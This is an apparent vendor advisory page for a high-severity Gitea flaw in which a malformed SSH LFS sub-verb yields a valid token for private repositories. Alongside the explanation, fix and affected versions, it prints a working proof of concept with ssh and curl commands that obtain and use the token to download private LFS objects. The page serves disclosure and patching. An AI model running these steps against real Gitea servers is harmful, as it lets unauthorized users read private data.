Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-7wvc-rvp7-w99x

HIGHFix: go-gitea/gitea#38008

GHSA-7wvc-rvp7-w99x is a high-severity (CVSS 7.7) Improper Authentication vulnerability in code.gitea.io/gitea. O3 Security confirms whether GHSA-7wvc-rvp7-w99x is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories

Also known asCVE-2026-58423GO-2026-6046
Published
Jul 21, 2026
Updated
Jul 22, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jul 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹code.gitea.io/gitea

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.

Details

In cmd/serv.go, the getAccessMode function determines the required access level for SSH operations. For LFS verbs (git-lfs-authenticate, git-lfs-transfer), it switches on the sub-verb (upload/download). If the sub-verb is neither, execution falls through to:

setting.PanicInDevOrTesting("unknown verb: %s %s", verb, lfsVerb)
return perm.AccessModeNone

In production (IsProd=true), PanicInDevOrTesting only logs an error and does not panic. AccessModeNone (value 0) is then passed to ServCommand in routers/private/serv.go, where the permission check block at line ~322 evaluates:

if repoExist &&
    (mode > perm.AccessModeRead ||
     repo.IsPrivate ||
     owner.Visibility.IsPrivate() ||
     (user != nil && user.IsRestricted) ||
     setting.Service.RequireSignInViewStrict) {
    ...
    if userMode < mode {  // userMode < 0 is always false
        // deny access
    }
}

For private repositories, repo.IsPrivate triggers the permission check block, but userMode < mode evaluates to userMode < 0, which is always false — access is granted regardless of the user's actual permissions.

The function then returns successfully, and runServ generates a valid LFS JWT token with Op: "badverb". On the HTTP LFS side (services/lfs/server.go:599), the Op field is only validated for write operations:

if mode == perm_model.AccessModeWrite && claims.Op != "upload" {
    return nil, errors.New("invalid token claim")
}

Download operations do not check Op, so the attacker's token is accepted for all LFS read operations.

PoC

Prerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: admin (owns a private repo with LFS objects) and attacker (a regular user with an SSH key, no access to the private repo).

# 1. Verify attacker has NO access via normal LFS authenticate
ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git download"
# Output: "User: attacker is not authorized to read admin/private-repo."

# 2. EXPLOIT: Use malformed sub-verb to bypass permission check
ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git badverb"
# Output: {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/admin/private-repo.git/info/lfs"}

# 3. Use stolen token to request LFS object download
curl -X POST "https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch" \
  -H "Content-Type: application/vnd.git-lfs+json" \
  -H "Accept: application/vnd.git-lfs+json" \
  -H "Authorization: Bearer eyJ..." \
  -d '{"operation":"download","objects":[{"oid":"<known-oid>","size":<size>}]}'
# Returns download URL with valid authorization header

# 4. Download private LFS content
curl -H "Authorization: Bearer eyJ..." \
  "https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>"
# Returns the private LFS object content

Impact

Any user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from any private repository on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).

Suggested fix

Validate the LFS sub-verb before calling getAccessMode, or return an error instead of AccessModeNone for unknown verbs:

case git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer:
    switch lfsVerb {
    case git.CmdSubVerbLfsUpload:
        return perm.AccessModeWrite
    case git.CmdSubVerbLfsDownload:
        return perm.AccessModeRead
    default:
        return fail(ctx, "Unknown LFS verb", "Unknown LFS verb: %s", lfsVerb)
    }

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/gitea1.23.0&&< 1.26.31.26.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update code.gitea.io/gitea to 1.26.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7wvc-rvp7-w99x is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-7wvc-rvp7-w99x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7wvc-rvp7-w99x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository. ### Details In `cmd/serv.go`, the `getAccessMode` function determines the required access level for SSH operations. For LFS verbs (`git-lfs-authenticate`, `git-lfs-transfer`), it switches on the sub-verb (`upload`/`download`). If the sub-verb is neither, execution falls through to: ```go setting.PanicInDevO
O3 Security · Impact-Aware SCA

Is GHSA-7wvc-rvp7-w99x in your dependencies?

O3 detects GHSA-7wvc-rvp7-w99x across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-7wvc-rvp7-w99x: gitea (High 7.7) | O3 Security